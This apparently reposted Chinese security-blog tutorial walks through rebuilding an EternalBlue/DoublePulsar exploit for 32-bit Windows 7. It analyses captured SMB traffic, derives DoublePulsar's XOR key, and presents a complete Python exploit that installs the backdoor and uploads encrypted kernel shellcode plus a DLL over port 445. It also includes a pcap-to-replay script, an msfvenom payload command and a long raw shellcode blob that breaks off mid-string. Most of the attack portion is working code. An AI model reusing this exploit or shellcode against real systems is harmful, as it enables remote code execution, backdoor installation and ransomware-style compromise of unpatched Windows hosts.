Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】EternalBlue之32位exploit编写(一)

0
0
【技术分享】EternalBlue之32位exploit编写(一)

2017-06-22 13:58:36

阅读:507次
点赞(0)
收藏
来源: 安全客





【技术分享】EternalBlue之32位exploit编写(一)

作者:東





【技术分享】EternalBlue之32位exploit编写(一)

作者:東

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


距离shadowbrokers团队放出NSA的这批黑客工具也有两月之久了,其中的一个名叫"永恒之蓝"的漏洞模块被疯狂地在野外利用,相信网友们如果没有经历过WannaCry勒索软件的淫威,重视度可能也远不如之前刚放出来时,任何人都可以用着fuzzbunch这个工具集成模块去攻击别人,fb.py这个集合了他子目录下的一些exploit被热心网友们玩的不亦乐乎的同时,地下的自由职业者也忙的不可开交各类变种勒索软件不断涌现,当然今天主角也不是勒索软件,今天我们着重从协议上分析一下eternalblue的攻击的数据流,然后试着重放这些数据。


实验环境

网络环境:局域网

攻击ip:192.168.157.129(win7_x86)

靶机ip:192.168.157.131(win7_x86)

工具:NSA的fb.py、wireshark、python、hex editor、


实验步骤

第一步:使用fb.py中的eternalblue模块走一遍正常攻击流程开wireshark把攻击过程的数据截获

【技术分享】EternalBlue之32位exploit编写(一)

接着我们就轻车熟路的打开了shadowbrokers的fb.py 去攻击192.168.157.129 攻击过程我就不阐述了 网上很多参考 攻击完毕回头就看下wireshark捕捉到的SMB数据包


【技术分享】EternalBlue之32位exploit编写(一)

这里用到的Eternalblue模块这个模块 在这个模块执行之前是没有数据的,执行之后wireshark捕捉到了数据


【技术分享】EternalBlue之32位exploit编写(一)

这个说白了就是个利用Eternalblue利用漏洞安装后门的一个过程,接着重新捕获数据 我们使用Doublepulsar这个模块,这模块功能定义上类似于meterprete而前面的则属于exploit模块吧


【技术分享】EternalBlue之32位exploit编写(一)

msfvenom -p windows/exec CMD="calc.exe" -f dll > /test.dll这样生成就可以,上面我用Doublepuls注入的dll是用msf生的 注入的进程我选择了资源管理器的

这次的数据包明显比上一个少了很多。接着我们着重分析这两个流内的数据。

第二步:分析fb.py动作产生的数据流

我们先来看一下SMB协议的定义

//8unsignedbits typedefunsignedshortUSHORT;//16unsignedbits typedefunsignedlongULONG;//32unsignedbits typedefstruct{ ULONGLowPart; LONGHighPart; }LARGE_INTEGER;//64bitsofdata typedefstruct{ UCHARProtocol[4];//Contains0xFF,'SMB' UCHARCommand;//Commandcode union{ struct{ UCHARErrorClass;//Errorclass UCHARReserved;//Reservedforfutureuse USHORTError;//Errorcode }DosError; ULONGStatus;//32-biterrorcode }Status; UCHARFlags;//Flags USHORTFlags2;//Moreflags union{ USHORTPad[6];//Ensuresectionis12by struct{ USHORTPidHigh;//HighPartofPID UCHARSecuritySignature[8];//reservedforMAC }Extra; }; USHORTTid;//Treeidentifier USHORTPid;//Caller’sprocessID,opaquefor clientuse USHORTUid;//Userid USHORTMid;//multiplexid UCHARWordCount;//Countofparameterwords }SMB_HEADER;

接着再看下eternalblue数据包中的数据流 这么多的会话 我用脚本把他们生成了可替换的数据字节并保存起来


【技术分享】EternalBlue之32位exploit编写(一)

win7后门安装的数据流已经有人在github上公开了,方法大同小异吧 follow stream 其实要紧的是能把这步自动化才是极好的 二十多个流自己去follow眼睛恐怕要累瞎,写了个不太完善的脚本

importbinascii importstruct pcap_file="smb3.pcap" output_file="BackdoorInstall.replay" defwf(filename,data): fp=open(filename,"wb") fp.write(data) fp.close() defrf(filename): fp=open(filename,"rb") data=fp.read() fp.close() returndata #分析数据包 defanlyse(all_data): data_len=len(all_data) ncount=0 now_index=40#pcap24,间隔16,protoheader54,tcp+ipheader20+20 array=[] whilenow_index<data_len: one_len=struct.unpack(">H",all_data[now_index+16:now_index+18])[0]-40 if(all_data[now_index+34:now_index+36]!="\x01\xbd"):#不是445表示发送端 data_temp="" array_temp=all_data[now_index+54:now_index+54+one_len] foriinrange(one_len): data_temp=data_temp+"\\x"+binascii.b2a_hex(array_temp[i]) array.append("('send',1,b'"+data_temp+"',0.01)\r\n\r\n") else: array.append("('recv',1,0.01)\r\n\r\n") now_index=now_index+one_len+16+54 ncount+=1 printncount,":",one_len returnarray,ncount if__name__=="__main__": array,ncount=anlyse(rf(pcap_file)) data_replay="('connect',1,0.01)\r\n\r\n" data_replay2=data_replay j=1 foriinrange(ncount): data_replay+=array[i] if(array[i].find("send")!=-1):#如果是send data_replay2=data_replay2+"#"+str(j)+array[i] j+=1 else: data_replay2+=array[i] data_replay+="('close',1,0.01)" data_replay2+="('close',1,0.01)" wf(output_file,data_replay) wf(output_file+".listrec",data_replay2)#这个是记录send顺序的文件 print"over!"

第三步:分析Doublepulsar注入动作产生的数据流并提取

接下来分析Doublepulsar的apc注入部分 可以看到七个SMB的request,接着就去搞清其中字段的含义,在我们不知道他每个字段都是什么意思的前提下我们就不用去改他,不是说一点不改,最起码的SMB head length这些基本数据包的知识我们知道了就可以去修改,怎么检测自己的手动发的数据包是否和NSA工具发的包一样呢?一共是7个包对应七个请求,用python发包,然后recv回来的数据和我们用wireshark抓到工具复现的包相同就说明自己包没问题然后接着去发下一条请求再去判断。
#smb头是32字节请求包50字节以下一行30字节smb版本 First_Request="\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00" #windows系统版本Second_Request="\x00\x00\x00\x88\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x0D\xFF\x00\x88\x00\x04\x11\x0A\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xD4\x00\x00\x00\x4B\x00\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00"

第三个请求有点问题就是目标ipc主机的ip 因为ip的Length不是固定的所以这里采用chr(len(str_ip))方式来写进NetBIOS


【技术分享】EternalBlue之32位exploit编写(一)

还有一点就是我们如何自定义ip 这里是UNICODE编码注意下 所以写了一个转Unicode的方法

defmake_unicode_host(org_host):host_len=len(org_host)new_host=""foriinrange(host_len):new_host=new_host+"\x00"+org_host[i]returnnew_host Third_Request="\x00\x00\x00"+chr(len(str_ip))+"\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x08\x40\x00\x04\xFF\x00\x60\x00\x08\x00\x01\x00\x35\x00\x00\x5C\x00\x5C"+make_unicode_host(HOST)+"\x00\x5C\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00" Fourth_Request="\x00\x00\x00\x4E\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x41\x00\x0F\x0C\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x40\x69\x7A\x00\x00\x00\x0C\x00\x42\x00\x00\x00\x4E\x00\x01\x00\x0E\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

看第五个请求.内容很多看下面的大小是4096个字节猜测smb最多一次就发送4096个字节,下一个请求包和这个请求应该是有联系的。这时候猜测可能就是后门一些操作了 而且这些字符显然是加密的


【技术分享】EternalBlue之32位exploit编写(一)

看第六个请求:1800个字节,猜测应该是一个文件传输的结束.文件未出现了出现了“85 79 52 a6 85 79 5a 81”这串字符串我们注入的是dll而熟悉PE文件的人应该知道dll的MZ头是

4D5A,而dll文件是以00 00 00 00 00...结尾。数据包里面没有4D5A这个hex值,推测是把shellcode和dll的hex一块加密大小为 4096+1800


【技术分享】EternalBlue之32位exploit编写(一)

看第六个包设想数据包的加密方式如果是异或那么只要秘钥为7985a15a(小端存储)才能将数据包中的dll尾部数据还原为00 00 00


【技术分享】EternalBlue之32位exploit编写(一)

第四步:多次对比数据包定位用户随机秘钥

有了秘钥那我们用秘钥把前面的shellcode也解密然后再加上我们自己dll再用秘钥加密发送不就可以了么。事实证明也不是这样的密钥是随机生成的

上面提到如果7985a15a是秘钥的话才能将dll尾部数据还原为0 可事实是,每次用NSA工具重现的时候生成的秘钥都是不一样的,而且我也发现个有意思的地方

当秘钥是7985a15a时工具中给你显示出了这样一段数据


【技术分享】EternalBlue之32位exploit编写(一)

这正是我们要找的秘钥。它在工具里面显示了,这时候要知道 fb.py这只是个框架,功能都是由他去调用分目录下的脚本,比如说eternalblue 比如说Doublepulsar,也是fb.py的一个框架

但Doublepulsar不是脚本,它是一个exe,我们就去逆向一下这个exe看看秘钥是怎么计算的


【技术分享】EternalBlue之32位exploit编写(一)

直接搜索XOR_Key然后ctrlX来到引用处F5


【技术分享】EternalBlue之32位exploit编写(一)

回溯v21 经过多次复现对比秘钥发现了在第四次的返回包中signature字段发生了变化 其余请求的返回包中的signature字段都为00000000


【技术分享】EternalBlue之32位exploit编写(一)
读到返回包用py切片return smb_data[18:22]把Signature前四个字节取出 然后转为小端存储struct.unpack("<I",get_smb_signature(smb_data))[0]

然后就来到了SUB_402F10函数中v21的处理流程 简化了一下程序的处理

x=(2*s^(((s&0xff00|(s<<16))<<8)|(((s>>16)|s&0xff0000)>>8))) x=x&0xffffffff 得到的x就是工具中显示的XOR_Key:xxxxxx我们还要把他转换成数据包里的秘钥小端变大端key=struct.pack("<I",int_key) 最终得到的key就是我们要对shellcode+dll的数据加密解密的秘钥了 Seventh_Request="\x00\x00\x00\x23\xFF\x53\x4D\x42\x71\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x00\x00\x00" Eighth_Request="\x00\x00\x00\x27\xFF\x53\x4D\x42\x74\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x02\xFF\x00\x27\x00\x00\x00"

第五步:构造完整的exploit

#!/usr/bin/python #-*-coding:utf-8-*- importsocket importtime importast importbinascii importstruct HOST='192.168.110.128' PORT=445 dllfile="x86.dll" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((HOST,PORT)) defInstall_Backdoor(): backlog=open("eternalblue.replay").read().split("\n\n") backlog=[ast.literal_eval(i)foriinbacklog] connections=[] start=time.time() foriinbacklog: delta=i[-1]-(start-time.time()) print(i[0],delta) ifdelta>0: time.sleep(delta) start=time.time() ifi[0]=="connect": sock=socket.socket() sock.connect((HOST,PORT)) connections.append({"socket":sock,"stream":i[1]}) ifi[0]=="close": [j['socket'].close()forjinconnectionsifj["stream"]==i[1]] ifi[0]=="send": [j['socket'].send(i[2])forjinconnectionsifj["stream"]==i[1]] ifi[0]=="recv": [j['socket'].recv(2048)forjinconnectionsifj['stream']==i[1]] defcalculate_doublepulsar_xor_key(s): """CalaculateDoublepulsarXorKey """ x=(2*s^(((s&0xff00|(s<<16))<<8)|(((s>>16)|s&0xff0000)>>8))) x=x&0xffffffff#thislinewasaddedjusttotruncateto32bits returnx defmake_unicode_host(org_host): host_len=len(org_host) new_host="" foriinrange(host_len): new_host=new_host+"\x00"+org_host[i] returnnew_host defget_smb_signature(smb_data): returnsmb_data[18:22] defget_key(smb_data): smb_sign=struct.unpack("<I",get_smb_signature(smb_data))[0] #print"smb_sign:","0x%X"%(smb_sign) int_key=calculate_doublepulsar_xor_key(smb_sign) print"int_key:","0x%X"%(int_key) key=struct.pack("<I",int_key) #print"key:",binascii.b2a_hex(key) returnkey defxor_data(org_data,key): #异或加密 newdata="" foriinrange(len(org_data)): newdata+=chr(ord(org_data[i])^ord(key[i%len(key)])) #printbinascii.b2a_hex(newdata) returnnewdata defmake_smb_request(send_data,key): data_len=len(send_data) array=[] ncount=data_len/4096 if(data_len%4096)>0: ncount+=1 make_data="" foriinrange(ncount): ifi<ncount-1: smb_Length=struct.pack(">H",4096+32+34+12) #printbinascii.b2a_hex(smb_Length) totalDataCount=struct.pack("<H",4096) byteCount=struct.pack("<H",4096+13) make_data=send_data[i*4096:(i+1)*4096] else: smb_Length=struct.pack(">H",data_len-4096*i+32+34+12) totalDataCount=struct.pack("<H",data_len-4096*i) byteCount=struct.pack("<H",data_len-4096*i+13) make_data=send_data[i*4096:] netBIOS_header="\x00\x00"+smb_Length smb_header="\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00" transRequest_header="\x0F\x0C\x00"+totalDataCount+"\x01\x00\x00\x00\x00\x00\x00\x00\xE5\x69\x7A\x00\x00\x00\x0C\x00\x42\x00"+totalDataCount+"\x4E\x00\x01\x00\x0E\x00"+byteCount+"\x00" data_header="\x08\x27\x00\x00"+totalDataCount+"\x00\x00\x00"+chr(i*0x10)+"\x00\x00" print"data_header:",binascii.b2a_hex(data_header) printlen(data_header) array.append(netBIOS_header+smb_header+transRequest_header+xor_data(data_header+make_data,key)) returnarray,ncount if__name__=="__main__": #安装后门 Install_Backdoor() #print"------Installbackdoordone!------" #上传并执行dll #smb头是32字节请求包50字节,以下一行30字节 #smb版本 step_0_data="\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00" s.sendall(step_0_data) data=s.recv(1024) print0,data #windows系统版本 step_1_data="\x00\x00\x00\x88\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x0D\xFF\x00\x88\x00\x04\x11\x0A\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xD4\x00\x00\x00\x4B\x00\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00" s.sendall(step_1_data) data=s.recv(1024) print1,data #对方ip地址x.x.x.x #str_ip="\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x08\x40\x00\x04\xFF\x00\x60\x00\x08\x00\x01\x00\x35\x00\x00\x5C\x00\x5C"+make_unicode_host(HOST)+"\x00\x5C\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00" #step_2_data="\x00\x00\x00"+chr(len(str_ip))+str_ip step_2_data="\x00\x00\x00"+chr(len(str_ip))+"\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x08\x40\x00\x04\xFF\x00\x60\x00\x08\x00\x01\x00\x35\x00\x00\x5C\x00\x5C"+make_unicode_host(HOST)+"\x00\x5C\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00" printbinascii.b2a_hex(step_2_data) printstep_2_data s.sendall(step_2_data) data=s.recv(1024) print2,data #验证得到signature step_3_data="\x00\x00\x00\x4E\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x41\x00\x0F\x0C\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x40\x69\x7A\x00\x00\x00\x0C\x00\x42\x00\x00\x00\x4E\x00\x01\x00\x0E\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" s.sendall(step_3_data) response=s.recv(1024) print3,response #print3,binascii.b2a_hex(response) key=get_key(response) #shellcode+dll kernel_shellcode="\x8B\x44\x24\x04\x60\x89\xC5\x81\xEC\xB4\x00\x00\x00\x89\xE7\xB8\x10\x00\x00\x00\x89\x87\x9C\x00\x00\x00\xB8\x40\x00\x00\x00\x89\x87\xA0\x00\x00\x00\xB8\x98\x01\x00\x00\x89\x87\xA4\x00\x00\x00\xB8\xBD\xA2\x37\x83\x89\x87\xA8\x00\x00\x00\xB8\x00\x00\x00\x00\x89\x87\xAC\x00\x00\x00\xB8\x00\x00\x00\x00\x89\x87\xB0\x00\x00\x00\xB8\x88\x01\x00\x00\x89\x87\x94\x00\x00\x00\x64\x8B\x1D\x38\x00\x00\x00\x66\x8B\x43\x06\xC1\xE0\x10\x66\x8B\x03\x66\x25\x00\xF0\x8B\x18\x66\x81\xFB\x4D\x5A\x74\x07\x2D\x00\x10\x00\x00\xEB\xF0\x89\x47\x4C\x89\xC3\xB9\x94\x01\x69\xE3\xE8\x8B\x03\x00\x00\x85\xC0\x0F\x84\x8A\x02\x00\x00\x89\x07\xB9\x85\x54\x83\xF0\xE8\x77\x03\x00\x00\x85\xC0\x0F\x84\x76\x02\x00\x00\x89\x47\x04\xB9\x84\x06\xE7\xF9\xE8\x62\x03\x00\x00\x85\xC0\x0F\x84\x61\x02\x00\x00\x89\x47\x08\xB9\xF9\x30\xAC\xA4\xE8\x4D\x03\x00\x00\x85\xC0\x0F\x84\x4C\x02\x00\x00\x89\x47\x0C\xB9\xAE\xB8\x9F\x5D\xE8\x38\x03\x00\x00\x85\xC0\x0F\x84\x37\x02\x00\x00\x89\x47\x10\xB9\xF6\x10\x00\xB8\xE8\x23\x03\x00\x00\x85\xC0\x0F\x84\x22\x02\x00\x00\x89\x47\x14\xB9\xCA\xD6\x5F\xD2\xE8\x0E\x03\x00\x00\x85\xC0\x0F\x84\x0D\x02\x00\x00\x89\x47\x18\xB9\xEE\x88\x6E\x0A\xE8\xF9\x02\x00\x00\x85\xC0\x0F\x84\xF8\x01\x00\x00\x89\x47\x1C\xB9\xCE\x0C\xB5\xDB\xE8\xE4\x02\x00\x00\x85\xC0\x0F\x84\xE3\x01\x00\x00\x89\x47\x20\xB9\x02\xB8\x9B\xD2\xE8\xCF\x02\x00\x00\x85\xC0\x0F\x84\xCE\x01\x00\x00\x89\x47\x24\xB9\x09\x89\x30\xDF\xE8\xBA\x02\x00\x00\x85\xC0\x0F\x84\xB9\x01\x00\x00\x89\x47\x28\xB9\x7D\xE3\x4D\xA0\xE8\xA5\x02\x00\x00\x85\xC0\x0F\x84\xA4\x01\x00\x00\x89\x47\x2C\xB9\xDF\x81\x14\x3E\xE8\x90\x02\x00\x00\x85\xC0\x0F\x84\x8F\x01\x00\x00\x89\x47\x30\xB9\xBA\x1E\x03\xA0\xE8\x7B\x02\x00\x00\x85\xC0\x0F\x84\x7A\x01\x00\x00\x89\x47\x34\xB9\x4F\xFE\xEB\x15\xE8\x66\x02\x00\x00\x85\xC0\x0F\x84\x65\x01\x00\x00\x89\x47\x38\xB9\xCA\xBE\xD0\xEC\xE8\x51\x02\x00\x00\x85\xC0\x0F\x84\x50\x01\x00\x00\x89\x47\x3C\xB9\x79\xA8\x24\x11\xE8\x3C\x02\x00\x00\x85\xC0\x0F\x84\x3B\x01\x00\x00\x89\x47\x40\xB9\x37\xC6\x90\x4F\xE8\x27\x02\x00\x00\x85\xC0\x0F\x84\x26\x01\x00\x00\x89\x47\x44\xB9\x6C\xE7\xFE\x10\xE8\x12\x02\x00\x00\x85\xC0\x0F\x84\x11\x01\x00\x00\x89\x47\x48\xE8\xCF\x01\x00\x00\x8B\x87\x98\x00\x00\x00\x85\xC0\x0F\x84\xFB\x00\x00\x00\xE8\x02\x01\x00\x00\x85\xC0\x0F\x84\xEE\x00\x00\x00\x89\x47\x58\x8D\x8D\x91\x05\x00\x00\xFF\x31\x6A\x40\x68\x00\x10\x00\x00\x51\x6A\x00\xC7\x47\x54\x00\x00\x00\x00\x8D\x4F\x54\x51\x6A\xFF\xFF\x57\x10\x59\x85\xC0\x0F\x85\xB3\x00\x00\x00\x57\x8D\xB5\x95\x05\x00\x00\x8B\x7F\x54\xF3\xA4\x5F\xB8\x3C\x00\x00\x00\x8B\x8F\x94\x00\x00\x00\x03\x4F\x58\x89\xCE\x8B\x11\x39\xD6\x0F\x84\x8C\x00\x00\x00\x2B\x97\x98\x00\x00\x00\x50\x51\x52\x52\xFF\x57\x48\x5A\x59\x85\xC0\x74\x2C\x51\xB9\xA8\x01\x00\x00\x01\xC8\x85\xC9\x59\x74\x06\x8B\x00\x85\xC0\x74\x19\x58\x01\xC2\x50\x31\xC0\x3C\x01\x74\x0A\x8B\x02\x0F\xBA\xE0\x05\x72\x0C\xEB\x05\x80\x3A\x01\x74\x05\x58\x8B\x09\xEB\xB2\x58\x29\xC2\x89\x97\x8C\x00\x00\x00\x6A\x50\x6A\x00\xFF\x17\x85\xC0\x74\x42\x89\x87\x90\x00\x00\x00\xC7\x40\x40\xC2\x14\x00\x00\x6A\x00\x6A\x01\xFF\x77\x54\x6A\x00\x8D\x50\x40\x52\x6A\x00\xFF\xB7\x8C\x00\x00\x00\x50\xFF\x57\x14\x6A\x00\x6A\x00\x6A\x00\xFF\xB7\x90\x00\x00\x00\xFF\x57\x18\x8D\x4F\x5C\x51\xFF\x57\x0C\x8B\x4F\x58\xFF\x57\x3C\x81\xC4\xB4\x00\x00\x00\x61\x31\xC0\xC2\x04\x00\x51\x56\x57\x53\xB9\x08\x00\x00\x00\x51\x8D\x77\x58\x56\x51\xFF\x57\x30\x85\xC0\x0F\x85\x83\x00\x00\x00\x8B\x77\x58\x8B\x9F\xA4\x00\x00\x00\x8B\x04\x1E\x83\xF8\x02\x7C\x6D\x56\xFF\x57\x34\xE8\x6C\x01\x00\x00\x8B\x8F\xA8\x00\x00\x00\x39\xC8\x75\x5A\x8D\x4F\x5C\x51\x56\xFF\x57\x08\x56\xFF\x57\x38\x85\xC0\x74\x3C\x8B\x9F\x9C\x00\x00\x00\x8B\x04\x18\x85\xC0\x74\x2F\x31\xC9\x8B\x9F\xA0\x00\x00\x00\x66\x8B\x0C\x18\x8B\x44\x18\x04\x85\xC0\x74\x1B\x8B\x9F\xB0\x00\x00\x00\x29\xD9\x7C\x11\x01\xC8\xE8\x5F\x01\x00\x00\x8B\x8F\xAC\x00\x00\x00\x39\xC8\x74\x24\xC7\x47\x58\x00\x00\x00\x00\x8D\x4F\x5C\x51\xFF\x57\x0C\x89\xF1\xFF\x57\x3C\x59\x81\xF9\x00\x00\x01\x00\x7F\x0D\x83\xC1\x04\xE9\x5B\xFF\xFF\xFF\x59\x89\xF0\xEB\x02\x31\xC0\x5B\x5F\x5E\x59\xC3\x60\xFF\x57\x44\x89\xC6\x8B\x87\x94\x00\x00\x00\x01\xC6\xFF\x57\x40\x89\xF1\x39\xF0\x77\x14\x8D\x90\x80\x02\x00\x00\x39\xF2\x72\x0A\x29\xC6\x89\xB7\x98\x00\x00\x00\xEB\x06\x8B\x36\x39\xCE\x75\xE2\x61\xC3\x53\x52\x51\x57\x55\x89\xE5\x83\xEC\x18\x89\xCF\x89\xD8\x89\x45\xFC\xE8\x7F\x00\x00\x00\x85\xC0\x74\x6E\x89\x45\xF8\xE8\xF3\x00\x00\x00\x89\x45\xF4\x8B\x45\xFC\x8B\x4D\xF8\xE8\x16\x01\x00\x00\x85\xC0\x74\x54\x89\x45\xF0\x8B\x45\xFC\x8B\x4D\xF8\xE8\x0C\x01\x00\x00\x85\xC0\x74\x42\x89\x45\xEC\x8B\x45\xFC\x8B\x4D\xF8\xE8\x02\x01\x00\x00\x85\xC0\x74\x30\x89\x45\xE8\x8B\x45\xFC\x89\xF9\x8B\x55\xEC\x8B\x5D\xF4\xE8\xB0\x00\x00\x00\x83\xF8\xFF\x74\x21\x89\xC1\x8B\x45\xE8\xE8\xE4\x00\x00\x00\x66\x89\xC2\x8B\x45\xFC\x8B\x4D\xF0\xE8\xDE\x00\x00\x00\x83\xC4\x18\x5D\x5F\x59\x5A\x5B\xC3\x31\xC0\xEB\xF3\x56\x89\xC6\x83\xC6\x3C\x8B\x36\x01\xC6\x66\x81\x3E\x50\x45\x75\x09\x83\xC6\x78\x8B\x36\x01\xF0\x5E\xC3\x31\xC0\xEB\xFA\x56\x51\x57\x89\xC6\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\x05\x01\xC8\x46\xEB\xE9\x5F\x59\x5E\xC3\x56\x57\x52\x89\xC6\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xD2\x8A\x16\x01\xD0\x46\xE2\xEE\x5A\x5F\x5E\xC3\x56\x51\x57\x89\xC6\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\xC6\x01\xC8\x46\x46\xEB\xE8\x5F\x59\x5E\xC3\x83\xC0\x18\x8B\x00\xC3\x57\x56\x51\x31\xFF\x89\xC6\x39\xDF\x74\x19\x8B\x04\xBA\x01\xF0\xE8\x83\xFF\xFF\xFF\x39\xC8\x74\x07\x47\xEB\xEB\x59\x5E\x5F\xC3\x89\xF8\xEB\xF8\xB8\xFF\xFF\xFF\xFF\xEB\xF1\x83\xC1\x1C\x8B\x09\x01\xC8\xC3\x83\xC1\x20\x8B\x09\x01\xC8\xC3\x83\xC1\x24\x8B\x09\x01\xC8\xC3\xD1\xE1\x01\xC8\x66\x8B\x00\xC3\x81\xE2\xFF\xFF\x00\x00\xC1\xE2\x02\x01\xD1\x8B\x09\x01\xC8\xC3\x70\x21\x00\x00\x60\x89\xE0\x81\xEC\x00\x04\x00\x00\xE9\x52\x0D\x00\x00\x5D\x8D\xB4\x24\x00\x02\x00\x00\x89\x06\x31\xFF\x64\x8B\x07\x89\x46\x04\x8D\x55\xC8\x31\xC9\x49\x64\xFF\x37\x56\x55\x51\x52\x52\x64\xFF\x37\x64\x89\x27\x8D\x7D\x9A\x56\x83\xC6\x08\x31\xC9\x8A\x0F\x84\xC9\x74\x30\x47\x8B\x17\x83\xC7\x04\x8B\x1F\x83\xC7\x04\x53\x52\xE8\x05\x0C\x00\x00\x51\x0F\xB6\x0F\x47\x85\xC9\x59\x75\x08\x85\xC0\x0F\x84\xED\x0B\x00\x00\x89\x06\x83\xC6\x04\x49\x85\xC9\x75\xD8\xEB\xC8\x5E\x56\x83\xEC\x1C\x31\xC0\x89\x44\x24\x18\x89\x44\x24\x14\x89\x44\x24\x10\x89\x44\x24\x0C\x89\x44\x24\x08\x64\x8B\x1D\x18\x00\x00\x00\x8B\x5B\x30\x8B\x5B\x0C\x8B\x5B\x14\x8B\x73\x10\x89\xF2\x56\x89\xF7\x83\xC6\x3C\x03\x3E\x5E\x53\x89\xFB\x0F\xB7\x4B\x06\x0F\xB7\x43\x14\x5B\x85\xC9\x0F\x84\xE3\x00\x00\x00\x89\x4C\x24\x04\x57\x83\xC7\x18\x83\xC7\x60\x8B\x0F\x85\xC9\x74\x02\x01\xF1\x89\x4C\x24\x18\x8B\x4F\x04\x89\x4C\x24\x1C\x5F\x01\xC7\x83\xC7\x18\x89\x3C\x24\x89\xF8\x83\xC0\x24\x8B\x00\x25\x00\x00\x00\x20\x85\xC0\x0F\x84\x8C\x00\x00\x00\x89\xF9\x83\xC1\x08\x83\xC7\x0C\x8B\x